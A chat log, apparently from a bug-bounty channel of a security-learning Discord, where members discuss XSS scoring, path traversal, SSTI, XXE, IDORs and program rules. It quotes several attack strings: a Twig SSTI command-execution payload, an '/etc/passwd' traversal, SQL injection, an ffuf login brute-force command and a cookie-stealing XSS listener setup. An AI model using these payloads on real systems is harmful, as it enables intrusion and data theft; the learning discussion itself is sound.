}
?>

both index.php and script.js are stored in /tmp/tmpserver

#

i did test this payload using netcat and did recieve a response

#

but when i use php this is whats returned - sudo php -S 0.0.0.0:8080 -t /tmp/tmpserver
[sudo] password for r3tr0:
[Fri Apr 28 10:43:45 2023] PHP 7.4.30 Development Server (http://0.0.0.0:8080) started
[Fri Apr 28 10:44:41 2023] 10.129.19.250:46118 Accepted
[Fri Apr 28 10:44:41 2023] 10.129.19.250:46118 [200]: (null) /script.js
[Fri Apr 28 10:44:41 2023] 10.129.19.250:46118 Closing

#

so i am not getting the cookie for some reason

lilac spindle
#

yea, you're doing too much

fast fable
#

Trying to calculate a CVS score with stored XSS, not too sure specifically on what to put for the CIA - because it would all depend on the JS that is being executed

lavish hollow
#

If it requires setup then you say yes, it will decrease the score

fast fable
#

That's what I'm using at the moment

#

But I'm wondering what to put at the CIA part

#

Because it'd obviously depend on the JS that used in the stored XSS

lavish hollow
fallen palm
vocal folio
fast fable
vocal folio
#

Direct from FIRST

fast fable
#

this one??

vocal folio
#

No the CVSS scoring one

fast fable
#

This?

#

Okay, so with Stored XSS - the attack can be injected by the attacker without any interaction from the user, but obviously the user would have to be on the page with the vulernable component so in that case it would require UI, correct?

#

okay thankfully theres an example in there for stored XSS

#

I dont understand why its so low though:

Confidentially: you could execute malicious JS to send cookies and customer data in context
Integrity: you could modify the pages HTML
Availability: Again, by modifying the pages HTML your making the resource required not available

tardy pasture
#

I think availability is referring to whether something like DoS is possible, essentially whether it's possible to make the user exit out of the website (clicking the x) before it does its thing. I do think modifying it to the extent of making a service not available may be possible, but it definitely depends on context

#

That's why you have to calculate the CVSS score for each vulnerability, it's on a case by case basis

tardy pasture
analog glen
fast fable
#

But technically modifying the pages html to something different makes the original source inaccessible no?

tardy pasture
#

Maybe? Again it's on a case by case basis

#

What's the stored xss in question? What does it affect? Could you feasibly cause any inaccessibility?

#

From my experience stored XSS isn't a big (it's usually medium severity) issue by itself. What is a problem is if its chained with something like a bad password change functionality (say, if you don't need to put in your current password). You can create an attack takeover like that, by calling a post request to that endpoint, and that's a critical vulnerability

#

But by itself it isn't a huge deal, and we've had people disregard it entirely during pentests. (as in, they don't fix it) That's why it's always important to try to escalate it, because the higher severity the vulnerability (the more you prove that the vulnerability is actually a big deal), the more likely the client is to fix it

fallen palm
#

huh

trim narwhal
outer roost
#

guys i have discovered ssti Twig when i give this payload :{{7*7}} it shows 49 but when i give this kind of payload :{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} it give blank output what should i do now

lilac spindle
fast fable
#

@young spoke same dude

ebon parrot
#

Hi. I want to try out doing bug bounties but I don’t know where to start. I want to have some small successes with small rewards. Is there something like this? This would I also be the first real world thing I would do and I would I also do this as some sort of side hustle because I’m still in school. Also is this too early to do bug bounties and I should continue expanding my skillset or can start doing low level bug bounties?

lilac spindle
mossy schooner
#

any tips on getting started? (ik this is a vague question)

brisk shuttle
#

for some reason I’m putting a payload and the websites returns back a 403 forbidden is there something i should do

fast fable
mossy schooner
#

Thanks

shadow matrix
brisk shuttle
#

it’s directory traversal

#

payload: ../../../etc/passwd

lilac spindle
quartz aspen
#

is it supposed to be vulnerable to that or are you just trying it

brisk shuttle
#

I’m just trying it

#

But the website returns a 403

fast fable
#

then its not vulnerable 😛

shadow matrix
brisk shuttle
#

yeah but my question is why does it return a 403

#

and should I try different payloads?

lilac spindle
#

It could be that the web server is interpreting this as a nonexistent page then auto defaults to 403

brisk shuttle
#

nginx

lilac spindle
#

or it could be returning 403 since there are invalid characters on the parameter its checking

brisk shuttle
lilac spindle
#

That depends on how it is coded 🙂

brisk shuttle
#

ohh ok

#

thanks man I really appreciate it

shadow matrix
# brisk shuttle and should I try different payloads?

You could, like Mkunkn said, you might be getting a nonexistent page, and a different path might work, it may also be because of invalid characters, which a different payload might not use. There's not much harm in running a bunch of payloads using burp intruder.

brisk shuttle
#

ok I'll try doing that coolguy

fast fable
fast fable
# brisk shuttle payload: ../../../etc/passwd

and you realize your not actually accessing the system files here? your basically saying https://website.com/etc/passwd, if etc/passwd isnt a file or directory on the webserver contents that its serving at then its gonna error

#

LFI usually involves something like index.php?file=xyz, because its being executed with php and then access the serves files, that's how it gets it

#

say the input isn't sanitized, then you can use ?file=../../../../../../etc/passwd

vocal folio
fast fable
vocal folio
#

It happens a lot more rarely, outside of things like embedded devices or custom webservers

fast fable
#

So you can get it without having the webserver use a file handling script? (like index.php?file=xyz) I don't see how?

A path traversal attack (also known as directory traversal) aims to access files and directories that are stored ***outside the web root folder.***
vocal folio
fast fable
#

But yeah, the webserver must be a pretty terrible one

vocal folio
#

Well, not a widely used one typically. Hence embedded devices.

#
Qualys Security Blog

On October 4, 2021, Apache HTTP Server Project released Security advisory on a Path traversal and File disclosure vulnerability in Apache HTTP Server 2.4.49 and 2.4.50 tracked as CVE-2021-41773 and…

fast fable
#

Yikes

#

Interesting how you need to encode it

#

To prevent path traversal attacks, the normalization function which is responsible to resolve URL-encoded values from the requested URI, resolved Unicode values one at a time. Hence when URL encoding the second dot as %2e, the logic fails to recognize %2e as dot thereby not decoding it, this converts the characters ../ to .%2e/ and bypasses the check.

uneven galeBOT
#

Gave +1 Rep to @vocal folio

brisk shuttle
#

lets say this xss payload works '>><marquee><h1>XSS</h1></marquee> is that good enough to report or do I have to make an alert show

fast fable
#

that doesn't show actual scripting, just adding elements - I'd make sure to show a working POC that demonstrates possible impact

brisk shuttle
#

but the payload works like the text is actually moving

fast fable
#

yeah but what impact would have that

#

its all about impact

brisk shuttle
#

oh ok

lilac spindle
brisk shuttle
#

ohh ok

brisk shuttle
fast fable
#

impact?

#

and depends on how you do it, you might as well tho 🤷‍♂️

brisk shuttle
#

there’s no impact but I’m trying hard to find something

#

if you can tell me something that I should do to create impact tell me

silk fjord
#

Hi all, I am new to cybersecurity and I want to learning Bug bounty. Please suggest how and where to start.

little meteor
lilac spindle
silk fjord
shadow matrix
silk fjord
frail herald
#

is there an alternative?

fast fable
frail herald
#

Thank you @fast fable :D

uneven galeBOT
#

Gave +1 Rep to @fast fable

frail herald
#

it would be nice to have this link updated on the pinned messages

fast fable
#

sure,cc @young spoke

frail herald
frail herald
brisk shuttle
#

what's a self xss?

fast fable
#

its when the victim unknowingly runs the code themselves in the browser

#

You know when you get all the warnings opening up the console? its to prevent against self xss

frail herald
#

self-xss cannot be triggered in normal ways via a crafted URL or a cross-domain request

#

Instead, the vulnerability is only triggered if the victim themselves submits the XSS payload from their browser. Delivering a self-XSS attack normally involves socially engineering the victim to paste some attacker-supplied input into their browser. As such, it is normally considered to be a lame, low-impact issue.

fast fable
#

its mostly social engineering

fast fable
#

ahhh so reported the XSS, they were aware of the actual XSS but my initial vector was actually different so got a bounty for that which was nice of them

fast fable
tardy pasture
#

Slay

fast fable
#

I don't actively look for bug bounties, (like using hackerone etc), its mostly just me browsering doing work or something and if I see something that looks like it could potentially cause issues, ill check if the site has a bugbounty and if they do, then a bit of digging for around an hour or so - then depending on if I get anything interesting, ill continue to dig for a couple more hours

tardy pasture
#

That seems like a good approach

lilac spindle
fast fable
fast fable
#

and ill only continue to look if I get unexpected / not intended output (I dont really bother with blind injection and those sorts)

#

otherwise I dont bother wasting hours on it

tardy pasture
#

Honestly a lot of regular bug bounty is just fuzzing

#

This feels like a better way to not spend too much time while also learning

fast fable
#

When I'm allowed to, ill disclose the ones I've found and my thought process which hopefully will be of use to someone

fast fable
#

fwiw I got an extra $50 for a detailed report, so always good to do that!

grim garden
fast fable
#

just images with text

grim garden
#

I thought it requires a template to report ur findings

fast fable
#

Nope 🤷‍♂️

quartz aspen
#

and i assume the company will write up their own shit once people have reported findings

#

in order to report to their own execs

#

but the technical guys, they don’t give a shit, they just want the details

grim garden
fallen palm
fallen palm
fallen palm
tardy pasture
#

That's terrible

shadow matrix
silk pelican
#

Hi

#

I would I like to know in which language this was encoded

#

${/|_/|////_|/|\} = $ [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(‘YwBtAGQA’)))

#

Can anyone know which type of encrypted it was and how to decode it

brisk shuttle
#

what does this mean

#

Content spoofing and text injection issues without showing an attack vector/without being able to modify HTML/CSS

silk pelican
#

Ya tq

lilac spindle
#

It means when you aren't able to show an attack vector that leads to plausible defacement of a website

normal cedar
#

hello

#

in order to get started in bug bounty, what paths should I complete in TryHackMe?

sage veldt
normal cedar
#

cannot solve authentication bypass Task 3

#

I am running the given command but still cannot get the username and password

#

ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.26.116/customers/login -fc 200

#

The given command

lilac spindle
#

plus, this sounds like something for #room-help , i'd ask you to send it there so others can also view

#

More visibility 🙂

fast fable
#

@analog glen

fallen palm
#

Vulnerability reports generated by Burpsuite professionals are accepted or not ??

lilac spindle
fallen palm
#

ok

safe nacelle
#

no

mellow hare
#

So can you seriously get a decent income just hunting using scanners?

#

Seems like if you can detect a bug using automated scanners it should have already been patched

fast fable
#

And in most cases, using automated scanners is out of scope

quartz aspen
lilac spindle
#

plus a lot of results from automated scans (missing HTTP headers, etc.) are not accepted as bugs 🙂

mellow hare
#

Yeah, that bit makes sense

lilac spindle
#

also what Jayy said. Running automated scanners aren't allowed most of the time and in some cases that they are allowed, they are abysmally throttled (1 req/sec) so that affects scan times

mellow hare
#

So this program for example, doesn't have any limitations, but you need to manually perform the exploit?

lilac spindle
mellow hare
#

Or do I just not see it?

fast fable
mellow hare
#

Right, but that just means you need to manually perform the exploit

lilac spindle
mellow hare
#

That's the confirmation it's referring to

lilac spindle
#

"Interruption or degradation of our service"

mellow hare
#

Right, but I'd think it can still handle a decent pace before you start hitting DOS levels?

exotic trail
#

does anyone make a living from this?

quartz aspen
#

people do yeah

silk fjord
#

Can anyone recommend a program which I should start as a beginner

#

So that I could be a bit safe side

sterile forge
#

I presume that some(or many) people(in this field) work in the job and do bugbounty as their private or side projects.

proven cobalt
#

Other people do CTFs, study for certs or do all kinds of other projects/hobbies related, or not, to hacking

silk fjord
lilac spindle
#

Like a bug bounty program?

silk fjord
#

I am looking at VDP in Bugcrowd but can't decide which one should i go with

lilac spindle
#

Don't think of them as training grounds. These are real companies, with real infrastructure, serving real users

#

Coming into this with a beginner background would just end up working against you

#

I suggest you try and solidify your knowledge and skills first

proven cobalt
silk fjord
oak fiber
#

Hi

errant stag
#

I want to start bug bounty how should I start ?

#

i want learn in ethical way

lilac spindle
shrewd ocean
#

?

lilac spindle
#

@opaque relic

vestal cobalt
#

Is anyone from india going to defcon this year...?!

marsh falconBOT
shrewd ocean
#

Whoops, wrong channel

steep ocean
#

everyone in the community says we need a mentor, so is there anyone here who can mentor me to find my first bug? I promise that I will follow every step you tell me. thanks in advance!

final yoke
#

I'd to ask about the most common vulnerabilities that found on the web applications?

fast fable
final yoke
uneven galeBOT
#

Gave +1 Rep to @fast fable

fallen palm
#

Where can you mostly guy's find vulun in outside or inside the app or site?

paper ridge
fast fable
#

@vocal folio

mint maple
#

hi guys i have a problem when i want to connect to openvpn to solve a machine on try hack me. here is the error please help
2023-05-26 00:18:51 Note: cipher 'AES-256-CBC' in --data-ciphers is not supported by ovpn-dco, disabling data channel offload.

marsh falconBOT
lilac spindle
#

Run this and see if it fixes your problem

vocal folio
#

@mint maple This channel is for bug bounty hunting

trim narwhal
lilac spindle
fast fable
#

They've done this over 4 times now and I've tagged multiple mods, with no action taken so I presume it's okay 🤷‍♂️

lilac spindle
#

will stop tagging mods now

lavish hollow
#

Please don’t excessively self promote @trim narwhal

Posting your write ups is fine but actually interact with the community

ancient glacier
#

Hwlo

#

Anyone online

#

If I can upload an image the filename format is /etc/new.jpg is it a vulnerability to report while conducting a pentest

lilac spindle
#

If you can prove that it was written outside the web directory, it is a vuln

#

It might also just be saved as \/etc\/new.jpg, so the special chars are being escaped

#

I'd say it could probably written as a vuln, lets say improperly sanitized input but it would be classified as P4 or P5 without further testing

tiny nacelle
brisk shuttle
#

what should someone do if they get an error from a parser when testing for xxe?

brisk shuttle
#

is that a sign for xxe?

quartz aspen
#

depends on the error

#

could just be bad input and the error hasn't been handled

lilac spindle
#

@fast fable person is here again

#

lmao

fast fable
#

@lavish hollow

jolly ledgeBOT
#

@trim narwhal has been warned.

fierce cedar
#

tbf the username checks out 😂

shrewd ocean
#

fr kekw

fallen palm
#

I'm curious, how do you protect yourself legally when doing bug bounties? One's ISP might look at attacks as such, first thought is using a vpn or a vps

shrewd ocean
lavish hollow
#

You should speak to your ISP, it is against their terms of use in some cases

shrewd ocean
#

Now I doubt whether they meant their ISP or someone's ISP (Company?)

lavish hollow
#

From the context, it sounds like they are referring to their own

vast cloud
#

Hey guys! Is there a channel to make announcement of bug bounties?

#

Can it be done here?

pastel ingot
#

people who are doing BB's - are you flying solo or in a group?

fast fable
#

solo all the way 😎

brisk shuttle
quartz aspen
brisk shuttle
#

yes @quartz aspen

brisk shuttle
#

if someone used a xxe payload via file upload and it works should I report?

sand olive
lavish hollow
#

@serene mural Wrong Discord.

brisk shuttle
#

can someone give me a good app to screen record for pocs on windows

fast fable
#

screen2gif

astral void
#

Hi there, I getting in correct error for this question even the answer is right.

#

Referring to the technique from question 2, what mitigation method suggests using SMS messages as an alternative for its implementation?

#

Mitre Room 8

#

the answer is abnormal or malicious behavior but does work.

astral void
#

thanks

thorny grail
#

Instead of Reporting - No Rate Limit -
On any Email endpoint and getting it closed as Informative / N/A
You can Try this and can create Impact but make sure to not actually harm their service:

https://twitter.com/shubham_srt/status/1665615883723759616

If you ever find a No Rate Limit on any Email Endpoint, Instead of reporting it and getting it closed as Informative. 🤓
🥷 Try this 🥷
Check if the WebApp is using Amazon SES as their Email Service & if they are Following Proper Email RFC (5322)
👇

Likes

125

brisk shuttle
#

what is hard-coding?

vocal folio
brisk shuttle
#

yeah but I didn't really quite understand so that's why I came here

vocal folio
#

Make it clear you've done your research by asking questions beyond what you'd google

quick berry
# brisk shuttle what is hard-coding?

usually, i'm gonna assume because you're asking in a bug bounty discord, hard coding is when credentials are hard coded into code, and either referenced by the code itself or developers making/using the code. obviously it poses a risk because if someone finds the code, they get the credentials

thorny grail
#

"𝐓𝐚𝐬𝐭𝐲 𝐂𝐨𝐨𝐤𝐢𝐞𝐬 🍪": Cookies with a Security Lens 🔎

I've compiled a comprehensive resource on cookies. If you're interested in diving deep into the intricacies of cookie security, this is for you! I've covered everything from edge cases to same-site attributes, CORS, and even practical scenarios. 🌐🔒

Access the research here: https://twitter.com/shubham_srt/status/1666694068439744512

Feel free to explore, learn, and share your thoughts. Also please DM in case of any Suggestions/Addition/Corrections you wish to offer.

blazing cedar
#

Hey
I am new to bug bounty. Can anyone help me out to properly begin with

shadow matrix
#

Read pinned messages

brisk shuttle
#

how does one avoid getting duplicates?

fast fable
#

one gets lucky

brisk shuttle
#

but you can only have so much luck

fast fable
#

¯_(ツ)_/¯

fallen palm
vague wraith
#

Hii
I am getting this, can someone help me in this?

fallen palm
#

getting what? sorry can you explain 🙂

vague wraith
#

[!] This exploit may require manual cleanup of '%TEMP%\ZvrZcaR.vbs' on the target

fallen palm
#

woah

#

I apologize for the attempt to help

vague wraith
#

Its okayy..

fallen palm
#

if you had posted this earlier i wouldn't have responded

vague wraith
fallen palm
#

sorry for wasting time

marsh falconBOT
ripe estuary
#

hey

quick berry
shadow matrix
brisk shuttle
#

is chaining bugs also a good idea?

fast fable
#

Yeah

#

Can lead to bigger impact

quick berry
uneven galeBOT
#

Gave +1 Rep to @quick berry

fallen palm
#

can anyone explain to me what chaining bugs is im new ?

vocal folio
uneven galeBOT
#

Gave +1 Rep to @vocal folio

brisk shuttle
#

There’s a program that has 5000 assets 😂😂

#

that’s the first time I ever see that

ember pollen
#

I’ve been doing ctfs for a while now and I’m looking to get into bug bounties I was wondering what vulnerability is best to focus on first?

quick berry
#

Sup yall, i've currently got 3 uuid based IDORS im debating on submitting

#

one of them is pretty severe, definitely P2, if it wasn't a UUID.

#

anyone got any experience submitting uuid based idors?

#

i've tried pretty hard to find ways to expose the uuids one way or another, any advice at all is appreciated.

fast fable
#

You've tried figuring out whether you can get a users UUID from an API request?

#

can't really do anything else 🤷‍♂️

#

depending on the UUID type, you could maybe get the timestamp from when the account was created

quick berry
#

@fast fable i like the last tip. doesn't work for me in my current scenario but its something to store in the brain vault. I'm gonna hunt for different avenues of leaking the uuids for a few more hours. I'm up to 4 IDORS at this point, so if I can leak a few that'd be ideal. If not I may have to settle for p4

fast fable
#

yeah It'd really depend on the type of uuid, if you could possible reverse engineer on how it gets generated...

quick berry
#

thanks @fast fable

uneven galeBOT
#

Gave +1 Rep to @fast fable

quick berry
brisk shuttle
fast fable
#

Well say that UUID was of a user, and you had an API call

/api/userInfo?userID=uuid

That contained sensitive information

#

If you changed the UUID to one that was somebody else's, and the API didn't have proper access control, you could get the data of the user with they UUID

brisk shuttle
#

no I mean like how did u find a valid uuid when it looks that

#

ff76f864b18c-47ef-8c01-56bf972f48b9

shadow matrix
vocal folio
quick berry
brisk shuttle
#

yep ik thanks for explaining guys 👍

harsh temple
#

in a post request, If the "content-type:application/x-www-form-urlencoded" that means input value is encoded right. then if i check for sql vulnerabilities does that effect. if i enter " admin' or 1=1 -- " does that go to the backend like this " admin%27+or+1%3D1+-- " or is it only inthe clientside. if the encoded input goes to the backend then how to bypass or mitigate it and perform with further successful injection. even a reading matierial will be helpful. thanks.

inner epoch
#

On client side you’d type in normally, but if you send the request via curl or edit it in burp you have to make sure it is encoded

#

It’s just for transmission so there’s nothing you need to bypass, the server will automatically change the encoded form back to the original and work with that

fallen palm
#

Hello guys i am new

#

Nice to mee to evryone

#

Respect 🙂

fallen palm
#

Not trying to spam news articles on multiple channels but i thought this would be appropriate for this channel

ember pollen
#

I’m looking to start bug hunting this week I was working wondering how you know when you have enough proof for a vulnerability? Like for example, if I get a site to return the version os sql through injection is that enough? Or do I need to actually enumerate the databases until I find sensitive data?

#

How do you know when to stop?

wraith fiber
analog glen
sharp wing
#

Hey, I've gotten an exposed .git folder(downloaded with approval) and wondered if there is anything to make the digging more efficient, currently manually inspecting files and grep-ping

frozen bane
#

@Avi if you have not used it yet. Gitleaks is a good tool for checking pass commits for any possible leaks with in git repositories.

#

saves having to go through each commit in the log manually

sharp wing
uneven galeBOT
#

Gave +1 Rep to @frozen bane

sharp wing
fallen palm
#

whats your guys favourite bug also how long did it take you to find your first?

shadow matrix
#

I want to enter the bug bounty scene soon (1-2 months), currently doing all the PortSwigger Academy labs for their cbsp cert, and then will do some CTFs (including the h1 ctf) any tips for when I get started? I'm a bit anxious that I will enter it and spend hours upon hours and not find anything or progress at all.

fast fable
#

Be prepared to spend hours not finding anything

#

But, doesn't hurt to try - go for it, use it as a learning expirience

brisk shuttle
tulip hedge
ember pollen
#

Where’s the best place to learn about idors?

narrow garden
#

not so much a bug bounty, more of just a bug and me goofing a bit, but;
This was before I really got into tech, but I was able to find an unprotected directory traversal in Star Citizens website and downloaded a few prototype VOIP binaries they were testing and ran them locally. They were clearly broken and needed more components to run, but the staff member I got in contact with was VERY thankful that I told them after I found it. Was pretty neat and got a few goodies account related.

blissful jay
#

can we search for the string in any directory by gobuster

#

I mean If we want to sarch for " xyz " but we don't know in which directory it could be

lilac spindle
fallen palm
#

!rank

swift carbon
#

can some body help me = > linux/local/exim4_deliver_message_priv_esc: session error

brisk shuttle
#

is bash scripting important in bug bounty?

dire thunder
# brisk shuttle is bash scripting important in bug bounty?

Bash scripting is important to save you the headache of memorizing every single command that you execute on every machine. With not too much effort, you will be able to automate a lot of your work flow. I wouldn't focus on it at first though, because you should get familiar with the commands first and bash scripting will come much easier later when you know what you are trying to script.

fast fable
#

bug bounty is mostly web app, so I wouldn't say so.

weary lance
#

anyone know like almost a resource for reading or watching bug bounty writeups, and just seeing how different bug bounty submissions went from initial scoping to finding the bug?

#

different from hackerone hacktivity.

fast fable
#

This book (which is affiliated with h1) contains a ton of actual vulnerabilities submitted and the thought process behind them, if thats what you are looking for?

weary lance
fast fable
#

the books free

fierce cedar
fast fable
fierce cedar
#

Appreciate you ❤️

#

That's a yoink

left fiber
#

Has anybody here ever found & claimed a bug bounty reward?

fast fable
#

yes

left fiber
#

Would you mind if I dmed oyu

fast fable
#

I'd prefer for you to ask your question here

left fiber
#

Ah

#

Okay

#

When it comes to receiving payment (if there is one), can you choose the method to receive said payment?

fast fable
#

You'd have to ask the specific company you're reporting to

left fiber
#

Alright, thanks